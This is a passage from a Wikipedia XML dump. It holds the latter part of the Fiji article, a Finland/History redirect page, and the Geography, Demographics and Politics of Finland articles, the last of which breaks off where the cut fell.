[http://www.answers.com/main/ntquery;jsessionid=ch285bg7t494l?method=4&amp;dsid=2222&amp;dekey=Abel+Tasman&amp;gwp=8&amp;curtab=2222_1&amp;sbid=lc05b&amp;linktext=Abel%20Tasman It is documented] that Fiji was discovered by the [[Netherlands|Dutch]] explorer [[Abel Tasman]] in an attempt to find the Great Southern Continent in [[1643]].  It was not until the [[19th century]], however, that Europeans came to the islands to [http://www.janesoceania.com/oceania_history settle] there permanently. The islands came under [[United Kingdom|British]] control as a colony in [[1874]]. It was granted independence in [[1970]]. Democratic rule was interrupted by two [[Fiji coups of 1987|military coups]] in [[1987]], caused by concern over a government perceived as dominated by the [[Indo-Fijian|Indo-Fijian (Indian)]] community. A consequence of the second 1987 coup was that the [[British Monarchy]] was abolished, the [[Governor-General of Fiji|Governor General]] was replaced by a non-executive [[President of Fiji|President]], and the long form of the country's name changed from ''Dominion of Fiji'' to ''Republic of Fiji'' (in turn changed to ''Republic of the Fiji Islands'' in 1997). 

A [[1990]] constitution guaranteed [[Fijian people|ethnic Fijian]] control of Fiji, but led to heavy Indian emigration; the population loss resulted in economic difficulties, but ensured that Melanesians became the majority. Amendments enacted in [[1997]] made the [[Constitution of Fiji|constitution]] more equitable. Free and peaceful elections in [[1999]] resulted in a government led by an Indo-Fijian.  A year later, this was deposed in a [[Fiji coup of 2000|coup]] led by [[George Speight]], a hardline Fijian nationalist. Democracy was restored towards the end of [[2000]], and [[Laisenia Qarase]], who had led an interim government in the meantime, was elected [[List of Prime Ministers of Fiji|Prime Minister]]. Fiji's membership of the [[Commonwealth of Nations]] was suspended due to the anti-democratic activities connected with the 2000 coup.

For a country of its size, Fiji has exceptionally capable [[Military of Fiji|armed forces]], and has been a major contributor to [[UN peacekeeping|UN peacekeeping missions]] in various parts of the world.

== Politics ==
''Main article: [[Politics of Fiji]]''

=== Executive authority ===
''Main article: [[Constitution of Fiji: Chapter 7]]''

Fiji's Head of State is the [[List of Presidents of Fiji|President]], who is elected by the ''[[Great Council of Chiefs (Fiji)|Great Council of Chiefs]]'' for a five-year term.  Although his role is largely an honorary one, modelled after that of the British monarchy, the President has certain [[reserve powers|&quot;reserve powers&quot;]] that may be used only in the event of a national crisis.  He is also the Commander-in-Chief of the [[Military of Fiji|Armed Forces]].  The [[Great Council of Chiefs (Fiji)|Great Council of Chiefs]] recognizes Queen [[Elizabeth II of the United Kingdom|Elizabeth II]] as its Paramount Chief, in respect as a nation within the [[Commonwealth of Nations]].

The president formally appoints the [[List of Prime Ministers of Fiji|Prime Minister]], who must be able to rely on the support of a majority in the [[House of Representatives (Fiji)|House of Representatives]].  In practice, that means that the leader of the largest political party or coalition normally becomes Prime Minister, rendering the President's role in the appointment little more than a formality.  Sometimes, however, Parliament may become deadlocked, as a result of electoral fragmentation or party splits.  In such cases, the President takes on the role of arbitrator, and after consulting with all the political factions, must appoint as Prime Minister the person he judges to be the most acceptable to the majority in the House of Representatives.  On the Prime Minister's nomination, the President formally appoints a [[Cabinet (Fiji)|Cabinet]] of around ten to twenty five [[Cabinet minister|ministers]], who exercise executive authority.  According to the constitution, the Cabinet is supposed to reflect the political composition of the House of Representatives, with every party holding more than 8 seats in the House entitled to proportionate representation in the Cabinet.  In practice, this rule has never been strictly implemented.

=== Legislative authority ===
''Main article: [[Constitution of Fiji: Chapter 6]]''

Fiji's [[Parliament (Fiji)|Parliament]] is bicameral.  The [[House of Representatives (Fiji)|House of Representatives]] has 71 members. 25 of these are elected by universal suffrage.  The remaining 46 are reserved for Fiji's ethnic communities and are elected from communal electoral rolls: 23 [[Fijian people|Fijians]], 19 [[Indo-Fijian|Indo-Fijians]], 1 [[Rotuman]], and 3 &quot;[[General Electors (Fiji)|General electors]]&quot; (Europeans, Chinese, and other minorities).  The upper chamber of the parliament, the [[Senate (Fiji)|Senate]], has 32 members, formally appointed by the President on the nomination of the Great Council of Chiefs (14), the Prime Minister (9), the [[Leader of the Opposition (Fiji)|Leader of the Opposition]] (8), and the [[Council of Rotuma]] (1).  Less powerful than the House of Representatives, the Senate may not initiate legislation, but it may reject or amend it.

=== Judicial authority ===
''Main article: [[Constitution of Fiji: Chapter 9]]''

Judicial power is vested in three courts (the [[High Court (Fiji)|High Court]], [[Court of Appeal (Fiji)|Court of Appeal]], and [[Supreme Court (Fiji)|Supreme Court]]) established by the [[Constitution of Fiji|Constitution]], which also makes provision for other courts to be set up by Parliament.  The High Court and the Supreme Court are both presided over by the [[Chief Justice (Fiji)|Chief Justice]] (currently [[Daniel Fatiaki]]); the Chief Justice is barred, however, from membership of the Court of Appeal, which has its own [[President of the Court of Appeal (Fiji)|President]] (currently [[Jai Ram Reddy]]).  The Appeal Court has the power ''&quot;to hear and determine appeals&quot;'' from judgements of the High Court; decisions of this court may be further appealed to the Supreme Court, whose decision is final.

== Local government ==
''Main article: [[Local government of Fiji]]''

Fiji is divided into four parts, called [[division (sub-national)|division]]s (capitals in parentheses):
*[[Central Division, Fiji|Central Division]] ([[Suva]])
*[[Northern Division, Fiji|Northern Division]] ([[Labasa]])
*[[Eastern Division, Fiji|Eastern Division]] ([[Levuka]])
*[[Western Division, Fiji|Western Division]] ([[Lautoka]])

These divisions are further subdivided into fourteen provinces.  Additionally, the island of [[Rotuma]], north of the main archipelago, has the status of a dependency.  It is officially included in the Eastern Division for statistical purposes, but administratively has a degree of internal autonomy.

Municipal governments, with City and Town Councils presided over by [[Mayor]]s, have been established in [[Suva]], [[Lautoka]], and ten other towns.

== Geography ==
''Main article: [[Geography of Fiji]]''

[[Image:fj-map.png|thumb|right|200px|Map of Fiji]]

Fiji consists of 322 islands, of which 106 are inhabited, and 522 smaller islets. The two most important islands are [[Viti Levu]] and [[Vanua Levu]]. Viti Levu hosts the capital city of [[Suva]], and is home to nearly three quarters of the population. The islands are mountainous, with peaks up to 1200 meters, and covered with tropical forests. Other important towns include [[Nadi]], (the location of the international airport) and [[Lautoka]].  The main towns on [[Vanua Levu]] are [[Labasa]] and [[Savusavu]]. Other islands and island groups include [[Taveuni]] and [[Kadavu]] (the third and fourth largest islands respectively), the [[Mamanuca Group]] (just outside Nadi) and [[Yasawa Islands|Yasawa Group]], which are popular [[tourist]] destinations, the [[Lomaiviti|Lomaiviti Group]], outside of Suva, and the remote [[Lau Islands|Lau Group]].  [[Rotuma]], some 500 kilometers north of the archipelago, has a [[Local government of Fiji|special administrative status]] in Fiji.

== Economy ==
''Main article: [[Economy of Fiji]]''

Fiji, endowed with forest, [[mineral]], and fish resources, is one of the most developed of the Pacific island economies, though still with a large subsistence sector. Fiji experienced a period of rapid growth in the 60's and 70's but stagnated in the early 80's. The coups of 1987 caused further contraction. Economic liberalisation in the years following the coup created a boom in the garment industry and a steady growth rate despite growing uncertainity of land tenure in the sugar industry. The expiration of leases for sugar cane farmers ( along with reduced farm and factory efficiency) has led to a decline in sugar production despite a subsidised price. Subsidies for sugar have been provided by the EU and Fiji has been the second largest beneficiary after [[Mauritius]]. 

Urbanization and expansion in the service sector have contributed to recent GDP growth. [[Sugar]] exports and a rapidly growing [[tourism|tourist]] industry&amp;mdash;with 430,800 tourists in 2003 and increasing in the subsequent years &amp;mdash;are the major sources of foreign exchange. Sugar processing makes up one-third of industrial activity. Long-term problems include low investment and uncertain property rights. The political turmoil in Fiji has had a severe impact on the economy, which shrank by 2.8% in [[2000]] and grew by only 1% in [[2001]]. The tourism sector recovered quickly, however, with visitor arrivals reaching pre-coup levels again during [[2002]], which has since resulted in a modest economic recovery. This recovery continued into 2004 but grew by 1.7% in 2005 and is projected to grow by 2.0% in 2006. Although inflation is low, the policy indicator rate of the Reserve Bank of Fiji was raised by 1% to 3.25% in February 2006 due to fears of excessive consumption finance by debt. Lower interest rates have so far not produced greater investment for exports. However, there has been a housing boom from declining commercial mortgage rates. 

The tallest building in Fiji is the 14-story [[Reserve Bank of Fiji Building]] in [[Suva]].

== Demographics ==
''Main article: [[Demographics of Fiji]]''

=== Ethnic Groups ===
The population of Fiji is mostly made up of native [[Fijian people|Fijians]], a people of mixed [[Polynesia|Polynesian]] and [[Melanesia]]n ancestory (54.3%), and [[Indo-Fijians]] (38.1%), descendants of [[India|Indian]] contract labourers brought to the islands by the British in the [[19th century]]. The percentage of the population of Indian descent has declined significantly over the last two decades because of emigration. About 1.2 % are [[Rotuman]]&amp;mdash;natives of [[Rotuma|Rotuma Island]], whose culture has more in common with countries such as  [[Tonga]] or [[Samoa]] than with the rest of Fiji.  There are also small, but economically significant, groups of Europeans, Chinese, and other minorities.  Relationships between ethnic Fijians and Indo-Fijians have often been strained, and the tension between the two communities has dominated politics in the islands for the past generation. The level of tension varies between different regions of the country.

=== Language ===
Three official languages are prescribed by the constitution: [[English language|English]], which was introduced by the former [[United Kingdom|British]] [[British Empire|colonial]] rulers, [[Fijian language|Bau Fijian]], spoken by ethnic Fijians, and [[Hindustani]], the main language spoken by [[Indo-Fijians]].  Citizens of Fiji have the constitutional right to communicate with any government agency in any of the official languages, with an interpreter to be supplied on request.

The use of English is one of the most enduring legacies of almost a century of British rule.  Widely spoken by both ethnic Fijians and Indo-Fijians, English is the main medium of communication between the two communities, as well as with the outside world.  It is the language in which the government conducts most of its business, and is the main language of education, commerce, and the courts.

Fijian belongs to the [[Austronesian]] family of languages. Fijian proper is closely related to the [[Polynesian languages]], such as [[Tongan language|Tongan]]. There are many dialects, but the official standard is the speech of [[Bau, Fiji|Bau]], the most politically and militarily powerful of the many indigenous kingdoms of the 19th Century. 

&quot;Hindustani&quot; is considered an umbrella term in India for the standard languages ''[[Hindi language|Hindi]]'' (preferred by [[Hinduism|Hindus]]) and ''[[Urdu language|Urdu]]'' (preferred by [[Islam|Muslims]]), as well as many closely related tongues that are sometimes considered separate languages. [[Fijian Hindustani]] descends from one of the eastern forms of Hindustani, called [[Awadhi]]. It has developed some unique features that differentiate it from the Awadhi spoken on the [[Indian subcontinent]], although not to the extent of hindering mutual understanding. It is spoken by nearly the entire Indo-Fijian community regardless of ancestry, except for a few elders.

In addition to the three official languages, several other languages are spoken. On the island of [[Rotuma]], [[Rotuman language|Rotuman]] is used; this is more closely related to the [[Polynesian languages]] than to Fijian. Some Fijian dialects, especially in the west of the country, differ markedly from the official Bau standard, and would be considered separate languages if they had a codified grammar or a literary tradition. Among the Indo-Fijian community, there is a small [[Gujarati language|Gujarati]]-speaking community, and a few older Indo-Fijians still speak [[Telugu language|Telugu]] and [[Tamil language|Tamil]], with smaller numbers of [[Bihari language|Bihari]], [[Bengali language|Bengali]], and others. 

In the Fijian alphabet, some of the letters have unique values. For one, the &quot;c&quot; is a voiced &quot;th&quot; sound, {{IPA|[ð]}}. (For example, the name of Fiji-born New Zealand [[rugby union|rugby]] player [[Joe Rokocoko]] is often mis-pronounced. The correct pronunciation is {{IPA2|r&amp;#594;k&amp;#594;ˈ&amp;#240;&amp;#594;k&amp;#594;}}.) Another difference is that the letters &quot;b&quot; and &quot;d&quot; are always pronounced with a [[nasal consonant|nasal]] before them, {{IPA|[mb, nd]}}, even at the beginning of a word. The &quot;q&quot; is pronounced like a &quot;g&quot; with a nasal &quot;ng&quot; before it, {{IPA|[ŋg]}} as in the word &quot;finger&quot;, while the &quot;g&quot; is pronounced like the &quot;ng&quot; of the word &quot;singer&quot;, {{IPA|[ŋ]}}.

=== Religion ===
[[Religion]] is one of the faultlines between [[Fijian people|indigenous Fijians]] and [[Indo-Fijian]]s, with the former overwhelmingly Christian (99.2 % at the [[1996]] [[census]]), and the latter mostly [[Hindu]] (76.7 %) or [[Muslim]] (15.9 %).  

The largest Christian denomination is the [[Methodism|Methodist Church]].  With 36.2 % of the total population (including almost two-thirds of ethnic Fijians), its share of the population is higher in Fiji than in any other nation.  [[Roman Catholic Church|Roman Catholics]] (8.9 %), the [[Assemblies of God]] (4 %), and [[Seventh-day Adventist Church|Seventh-day Adventists]] (2.9 %) are also significant.  These and others denominations also have small numbers of Indo-Fijian members; Christians of all kinds comprise 6.1 % of the Indo-Fijian population. 

Hindus belong mostly to the [[Sanatan]] sect (74.3 % of all Hindus) or else are unspecified (22 %).  The small [[Arya Samaj]] sect claims the membership of some 3.7 % of all Hindus in Fiji.  Muslims are mostly [[Sunni]] (59.7 %) or unspecified (36.7 %), with an [[Ahmadiya]] minority (3.6 %) regarded as [[heresy|heretical]] by more orthodox Muslims.

The [[Sikh]] faith comprises 0.9 % of the Indo-Fijian population, or 0.4 % of the national population in Fiji.  Their ancestors came from the [[Punjab, India|Punjab]] region of India.

== Culture ==
''Main article: [[Culture of Fiji]]''

See also: [[Music of Fiji]], [[Festivals in Fiji]]

== Miscellaneous topics ==
{{commons|Fiji}}
{{wiktionary}}

* [[List of Fiji-related topics]]
* [[List of Fijians]]
* [[Communications in Fiji]]
* [[Transportation in Fiji]]
* [[Military of Fiji]]
* [[Foreign relations of Fiji]]

== External links ==
* [http://www.bulafiji.com/ Bulafiji.com.  Official Fiji Visitors Bureau website]
* [http://www.southpacific.org/text/finding_fiji.html Finding Fiji]
* [http://www.fiji.gov.fj/ Official Website of the Government of Fiji]
* [http://map.mrd.gov.fj/ Interactive maps of Fiji]
* [http://www.mapsouthpacific.com/fiji/index.html Map of Fiji]
* [http://www.parliament.gov.fj/ Official Website of the Parliament of Fiji]
* [http://www.fijitimes.com The Fiji Times - Fiji News, Sport and Weather from Fiji's leading newspaper]
*[http://www.cia.gov/cia/publications/factbook/geos/fj.html The CIA World Factbook: Fiji]

{{Oceania}}

[[Category:Fiji| ]]
[[Category:Oceanian countries]]
[[Category:Polynesia]]
[[Category:Melanesia]]
[[Category:Island nations]]

[[ar:فيجي]]
[[an:Fiyi]]
[[zh-min-nan:Fiji]]
[[ca:Fiji]]
[[cs:Fidži]]
[[cy:Fiji]]
[[da:Fiji]]
[[de:Fidschi]]
[[et:Fidži]]
[[es:Fiji]]
[[eo:Fiĝioj]]
[[eu:Fiji]]
[[fj:Viti]]
[[fr:Fidji]]
[[gl:Fidxi - Viti]]
[[ko:피지]]
[[ht:Fidji]]
[[hi:फ़िजी]]
[[hr:Fidži]]
[[id:Fiji]]
[[ia:Fiji]]
[[is:Fídjieyjar]]
[[it:Figi]]
[[he:פיג'י]]
[[ks:फिजी]]
[[lv:Fidži]]
[[lt:Fidžis]]
[[hu:Fidzsi-szigetek]]
[[mk:Фиџи]]
[[ms:Fiji]]
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[[ja:フィジー]]
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[[pl:Fidżi]]
[[pt:Fiji]]
[[ro:Fiji]]
[[ru:Фиджи]]
[[sq:Ishujt e Fildisht]]
[[simple:Fiji]]
[[sk:Fidži]]
[[sl:Fidži]]
[[sr:Фиџи]]
[[fi:Fidži]]
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[[to:Viti]]
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[[zh:斐濟]]</text>
    </revision>
  </page>
  <page>
    <title>Finland/History</title>
    <id>10708</id>
    <revision>
      <id>15908505</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[History of Finland]]

:''See also :'' [[Finland]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Finland</title>
    <id>10709</id>
    <revision>
      <id>41588279</id>
      <timestamp>2006-02-28T09:17:51Z</timestamp>
      <contributor>
        <username>Wayward</username>
        <id>184087</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/193.164.126.20|193.164.126.20]] ([[User talk:193.164.126.20|talk]]) to last version by Blastwizard</comment>
      <text xml:space="preserve">[[Image:Finland_1996_CIA_map.jpg|thumb|right|250px|Map of Finland - click to enlarge]]
[[Image:Finlandsat.jpg|250px|thumb|right|Click for larger satellite image]]

The '''geography of [[Finland]]''' differs from that of other [[Nordic countries]]. Bordering the [[Baltic Sea]], [[Gulf of Bothnia]], and [[Gulf of Finland]], between [[Sweden]] and [[Russia]], Finland is the northernmost country on the European continent. Although other countries have points extending farther north, virtually all of Finland is north of 60 degrees north latitude; nearly a quarter of the land area and fully one-third of the latitudinal extent of the country lie north of the Arctic Circle.

'''[[Geographic coordinates]]:''' {{coor dm|64|0|N|26|0|E|type:country}}

==Size, external boundaries, and geology==
In area, Finland has 304,623 square kilometers of land and 33,522 square kilometers of inland water, a total of 338,145 square kilometers. It shares borders on the west with Sweden for 540 kilometers, on the north with Norway for 720 kilometers, and on the east with Russia for 1,268 kilometers. There are approximately 1,107 kilometers of coastline on the Gulf of Finland (south), the Baltic Sea (southwest), and the Gulf of Bothnia (west). The rugged coastline is deeply indented with bays and inlets. The offshore region is studded with islands.

The most predominant influences on Finland's geography were the [[continental glacier]]s that scoured and gouged the country's surface. When the glaciers receded about 10,000 years ago, they left behind them [[moraine]]s, [[drumlin]]s, and [[esker]]s. Other indications of their presence are the thousands of lakes they helped to form in the southern part of the country. The force of the moving ice sheets gouged the lake beds, and meltwaters helped to fill them. The [[Glacier retreat|recession of the glaciers]] is so recent (in geologic terms) that modern-day [[drainage system|drainage pattern]]s are immature and poorly established. The direction of glacial advance and recession set the alignment of the lakes and streams in a general northeast to southwest lineation. The two [[Salpausselkä]] Ridges, which run parallel to each other about twenty-five kilometers apart, are the [[terminal moraine]]s. At their greatest height they reach an elevation of about 200 meters, the highest point in southern Finland.

==Landform regions==
Many countries of the world can be divided into distinct geographic regions, in each of which some physical characteristic is dominant, almost to the exclusion of others. In Finland, the same physical characteristics are common to each of the four geographic regions into which the country is divided. Regional differences in Finland lie, therefore, in subtle combinations of physical qualities. In archipelago Finland, rock and water are dominant. Coastal Finland consists of broad clay plains where agriculture plays a leading role. The interior lake district supports extensive forests. Upland Finland is covered by Arctic scrub. Nonetheless, each of these regions contains elements of the others. For instance, patches of agriculture extend far northward along some rivers in [[Lapland]], and in southern Finland a substantial bogland, the [[Suomenselkä]], is sometimes referred to as Satakunta Lapland because it has the character of Arctic [[tundra]].

Archipelago Finland, consisting of thousands of islands and skerries, extends from the southwestern coast out into the Baltic Sea. It includes the strategically significant [[Åland]] Islands, positioned at the entrance to the Gulf of Bothnia. After [[World War I]], both Finland and Sweden laid claim to the islands, which are culturally more Swedish than Finnish. For strategic reasons, however, the [[League of Nations]] awarded the Åland Islands to Finland in [[1921]]. A principal reason for this decision was that, during the winter, the islands are physically linked to Finland by the frozen waters of the sea and are hence essential for the country's defense. This myriad of forest-covered and bare bedrock islands was formed and continues to be formed by the process of uplift following the last glaciation.

The rest of the country is also still emerging from the sea. The weight of the continental glaciers depressed the land over which they moved, and even now, a hundred centuries after their recession, Finland is rising up from this great load through the process of [[isostatic rebound]]. In the south and the southwest, this process is occurring slowly, at a rate of twenty-five to thirty centimeters a century. Farther north in the [[Ostrobothnia]] area, uplift is more rapid, it amounts to eighty or ninety centimeters a century. The process also means that Finland is growing about seven square kilometers yearly as land emerges from the sea.

Coastal Finland consists of broad clay plains extending from the coast inland, for no more than 100 kilometers. These plains slope southward from the morainic Salpausselkä Ridges in southern Finland. Along the Gulf of Bothnia coast, the plains slope southwest from upland areas. The land of coastal Finland is used for [[agriculture]] and [[dairy farming]].

The interior lake district is the largest geographic region, and it is perhaps what most foreigners think of when they imagine Finland. The district is bounded to the south by the Salpausselkä Ridges. Behind the ridges extend networks of thousands of lakes separated by hilly forested countryside. This landscape continues to the east and extends into Russia. As a consequence, there is no natural border between the two countries. Because no set definition of what constitutes a lake and no procedures for counting the number of lakes exist, it has been impossible to ascertain exactly how many lakes the region has. There are, however, at least 55,000 lakes that are 200 or more meters wide. The largest is [[Lake Saimaa]], which, with a surface area of more than 4,400 square kilometers, is the fifth largest lake in Europe. The deepest lake has a depth of only 100 meters; the depth of the average lake is 7 meters. Because they are shallow, these many lakes contain only slightly more water than Finland's annual rainfall. The hilly, forest-covered landscape of the lake plateau is dominated by drumlins and by long sinuous eskers, both glacial remnants.

Upland Finland extends beyond the [[Arctic Circle]]. The extreme north of this region is known as Lapland. The highest points in upland Finland reach an elevation of about 1,000 meters, and they are found in the [[Kilpisjärvi]] area of the [[Scandinavian Mountains|Scandinavian Keel Ridge]]. In the southern upland region the hills are undulating, while in the north they are rugged. Much of upland Finland is not mountainous, but consists of bogs.

Finland's longest and most impressive rivers are in the north. The [[Kemijoki]] has the largest network of tributaries. Farther south the [[Oulujoki]] drains the beginning of the north country. Most of the streams flow to the Gulf of Bothnia, but there is a broad stretch of land in the north and northeast that is drained by rivers flowing north across Norway and northeast across Russia to the [[Arctic Ocean]]. 

==Climate==
Latitude is the principal influence on Finland's climate. Because of Finland's northern location, winter is the longest season. On the average, winter lasts 105 to 120 days in the archipelago and 180 to 220 days in Lapland. This means that southern portions of the country are snow-covered about three months of the year and the northern, about seven months. The long winter causes about half of the annual 500 to 600 millimeters of precipitation in the north to fall as snow. Precipitation in the south amounts to about 600 to 700 millimeters annually. Like that of the north, it occurs all through the year, though not so much of it is snow.

The [[Atlantic Ocean]] to the west and the [[Eurasia|Eurasian continent]] to the east interact to modify the climate of the country. The warm waters of the [[Gulf Stream]] and the [[North Atlantic current|North Atlantic Drift Current]], which warm Norway and Sweden, also warm Finland. Westerly winds bring the warm air currents into the Baltic areas and to the country's shores, moderating winter temperatures, especially in the south. These winds, because of clouds associated with weather systems accompanying the westerlies, also decrease the amount of sunshine received during the summer. By contrast, the continental high pressure system situated over the Eurasian continent counteracts the maritime influences, causing severe winters and occasionally high temperatures in the summer. 


==Area and boundaries==
'''Area:'''
&lt;br&gt;''total:''
[[1 E11 m²|337,030]] [[square kilometre|km²]]
&lt;br&gt;''land:''
305,470 km²
&lt;br&gt;''water:''
[[1 E10 m²|31,560]] km²

'''Area - comparative:'''
slightly smaller than [[Germany]]

'''Land boundaries:'''
&lt;br&gt;''total:''
[[1 E6 m|2,628]] [[kilometre|km]]
&lt;br&gt;''border countries:''
Norway [[1 E5 m|729]] km, Sweden 586 km, Russia 1,313 km

'''Coastline:'''
1,126 km (excludes islands and coastal indentations)

'''Maritime claims:'''
&lt;br&gt;''contiguous zone:''
6 [[nautical mile]]s (11 km)
&lt;br&gt;''continental shelf:''
200 m depth or to the depth of exploitation
&lt;br&gt;''exclusive fishing zone:''
12 nautical miles (22 km)
&lt;br&gt;''territorial sea:''
12 nautical miles (22 km), 3 nautical miles (6 km) in the [[Gulf of Finland]]

'''Elevation extremes:'''
&lt;br&gt;''lowest point:''
[[Baltic Sea]] 0 m
&lt;br&gt;''highest point:''
[[Haltitunturi]] [[1 E3 m|1,328]] [[metre|m]]

==Resources and land use==
'''Natural resources:'''
timber, copper, zinc, iron ore, silver

'''Land use:'''
&lt;br&gt;''arable land:''
8%
&lt;br&gt;''permanent crops:''
0%
&lt;br&gt;''permanent pastures:''
0%
&lt;br&gt;''forests and woodland:''
76%
&lt;br&gt;''other:''
16% (1993 est.)

'''Irrigated land:'''
640 km² (1993 est.)

==Environmental concerns==
'''Natural hazards:'''
NA

'''Environment - current issues:'''
air pollution from manufacturing and power plants contributing to acid rain; water pollution from industrial wastes, agricultural chemicals; habitat loss threatens wildlife populations

'''Environment - international agreements:'''
&lt;br&gt;''party to:''
Air Pollution, Air Pollution-Nitrogen Oxides, Air Pollution-Sulphur 85, Air Pollution-Sulphur 94, Air Pollution-Volatile Organic Compounds, Antarctic-Environmental Protocol, Antarctic Treaty, Biodiversity, Climate Change, Desertification, Endangered Species, Environmental Modification, Hazardous Wastes, Law of the Sea, Marine Dumping, Marine Life Conservation, Nuclear Test Ban, Ozone Layer Protection, Ship Pollution, Tropical Timber 83, Tropical Timber 94, Wetlands, Whaling
&lt;br&gt;''signed, but not ratified:''
Air Pollution-Persistent Organic Pollutants, Climate Change-Kyoto Protocol

'''Geography - note:'''
long boundary with Russia; [[Helsinki]] is northernmost national capital on European continent; population concentrated on small southwestern coastal plain

== See also ==
*[[Extreme points of Finland]]
*[[Finland]]
*[[Population of Finland]]

==Sources==
*[http://lcweb2.loc.gov/frd/cs/cshome.html Library of Congress, Country Studies]
*''CIA World Fact Book''

[[Category:Geography of Finland]]
[[Category:Geography by country|Finland]]
[[es:Geografía de Finlandia]]
[[fr:Géographie de la Finlande]]
[[pt:Geografia da Finlândia]]
[[fi:Suomen maantiede]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Finland</title>
    <id>10710</id>
    <revision>
      <id>41199814</id>
      <timestamp>2006-02-25T19:07:10Z</timestamp>
      <contributor>
        <ip>82.243.116.13</ip>
      </contributor>
      <text xml:space="preserve">'''[[Finland]]''' numbers some five million inhabitants and has an average population density of 17 inhabitants per square [[kilometre]]. This makes it, after [[Norway]] and [[Iceland]], the most sparsely populated country in [[Europe]]. Population distribution is very uneven, population is concentrated on small southwestern coastal plain. About 60 per cent live in towns and cities, with 1.2 million living in [[Helsinki Metropolitan Area]] alone. In arctic Lapland, on the other hand, there are only 2 people to every square kilometre. The original inhabitants of Finland are the [[Sami people|Sami]] (formerly known as the Lapps). There are 4,500 of them living in Finland today and they are recognised as a minority with their own language. They have been living north of the [[Arctic Circle]] for more than 7,000 years now. In the 1960's many Finns abandoned rural areas for [[Sweden]], while most immigrants into Finland itself come from other European countries. With 84 per cent of Finns in its congregation, the Lutheran church is the largest in the country. The official languages are [[Finnish language|Finnish]] and [[Swedish language|Swedish]], the latter being the native language of about six per cent of the Finnish population. There is a historical explanation for the status of Swedish as an official language: from the 13th to the 19th century Finland was part of the Kingdom of Sweden.

== Demographics  ==
*Population: 5,223,442 (July 2005 est.)
*Life expectancy at birth: 78.35 years (2005 est.)
**male: 74.82 years
**female: 82.02 years 
*Total fertility rate: 1.73 children born/woman (2005 est.)

== Age structure ==
*0-14 years: 17.3% (male 460,977; female 443,859) 
*15-64 years:66.8% (male 1,764,874; female 1,723,385)
*65 years and over: 15.9% (male 328,952; female 501,395) (2005 est.)

*Population growth rate: 0.16% (2005 est.) 
*Birth rate: 10.5 births/1,000 population (2005 est.) 
*Death rate: 9.79 deaths/1,000 population (2005 est.) 
*Net migration rate: 0.89 migrant(s)/1,000 population (2005 est.)

== Ethnic groups ==
*[[Ethnic Finn|Finnish]] 92 %
*[[Finland-Swedish]] 5.6 %
*[[Russians]] 0.6 %
*[[Roma and Sinti|Roma]] 0.12%
*[[Sami people|Sami]] 0.11%
*[[Finnish Tatars]] 0.02%

== Languages ==
*[[Finnish language]] 93.4 % (official) 
*[[Swedish language]] 5.9 % (official)
*[[Russian language]] 0.6 %
*[[Sami languages|Sami language]] 0.03% (semi-official)

== Religions ==
*Evangelical [[Lutheran]] 84 % ([[Evangelical Lutheran Church of Finland]], state church)
*Russian [[Orthodox]] 1 % ([[Finnish Orthodox Church]], second state church)
*other ca. 2 %
*none 13.1 %

== Literacy ==
*definition: age 15 and over can read and write
*total population: 100% (1980 est.)



== References ==
*[[CIA World Factbook]]

[[Category:Demographics by country|Finland]]
[[Category:Demographics of Finland| ]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Finland</title>
    <id>10711</id>
    <revision>
      <id>39743545</id>
      <timestamp>2006-02-15T15:36:43Z</timestamp>
      <contributor>
        <ip>24.50.192.124</ip>
      </contributor>
      <comment>/* Constitution */</comment>
      <text xml:space="preserve">{{Politics of Finland}}
[[Finland]] has primarily [[Parliamentarism|parliamentary system]], although the [[president]] also has some notable powers.  The main executive power lies in the [[cabinet (government)|cabinet]] headed by the [[prime minister]].  Matters concerning [[national security]] are divided between the president and the cabinet. The cabinet shares responsibility of [[foreign affairs]] with the [[president]].  Before the constitutional rewrite, which was completed in [[2000]], the president enjoyed more power.

Finns enjoy individual and political freedoms, and [[suffrage]] is universal at 18. The country's population is ethnically homogeneous with no sizable immigrant population. Few tensions exist between the [[Finnish language|Finnish]]-speaking majority and the [[Finland-Swedish|Swedish]]-speaking minority, although in certain circles there is an unending debate about the status of the [[Swedish language]].

==Constitution==
''Main article: [[Constitution of Finland]]''

The Constitution was rewritten on [[March 1]], [[2000]] after first being adopted in [[July 17]] [[1919]]. The civil law system is based on [[Sweden|Swedish]] law. The Supreme Court or ''Korkein oikeus'' may request legislation that interprets or modifies existing laws. Judges are appointed by the president.

==President==
''Main article: [[President of Finland]]''

Elected for a six year term, the president:
*Handles [[Foreign relations of Finland|Finland's foreign affairs]] in cooperation with the Cabinet, except for certain international agreements and decisions of [[peace]] or [[war]], which must be submitted to the parliament
*Is [[Commander-in-Chief]] of the armed forces;
*Has some decree and appointive powers
*May block legislation by pocket [[veto]], and call extraordinary parliamentary sessions
*Nominates and formally appoints the [[Prime Minister of Finland]], and appoints the rest of the [[cabinet]] (Council of State)

==Council of State==
''Main article: [[Cabinet of Finland]]''

The ''Council of State'' is made up of the prime minister and ministers for the various departments of the central government as well as an ex-officio member, the Chancellor of Justice. Ministers are not obliged to be members of the Eduskunta (Parliament) and need not be formally identified with any political party.

The president, after hearing the parliament, nominates a prime minister candidate for the parliament to approve in a vote. The prime minister chooses the rest of the cabinet, which is formally appointed by the president.

==Parliament==
''Main article: [[Parliament of Finland]]''

Constitutionally, the 200-member [[unicameral parliament|unicameral]] ''Eduskunta,'' the [[Parliament of Finland]], is the supreme authority in Finland. It may alter the constitution, bring about the resignation of the Council of State, and override presidential vetoes; its acts are not subject to judicial review. Legislation may be initiated by the Council of State, or one of the Eduskunta members.

The Eduskunta is elected on the basis of proportional representation. All persons 18 or older, except military personnel on active duty and a few high judicial officials, are eligible for election. The regular parliamentary term is four years; however, the president may dissolve the Eduskunta and order new elections at the request of the prime minister and after consulting the speaker of parliament.

==Political parties and elections==
{{elect|Political parties in Finland|Elections in Finland}}
Finland's proportional representation system encourages a multitude of [[political party|political parties]] and has resulted in many coalition-cabinets. 

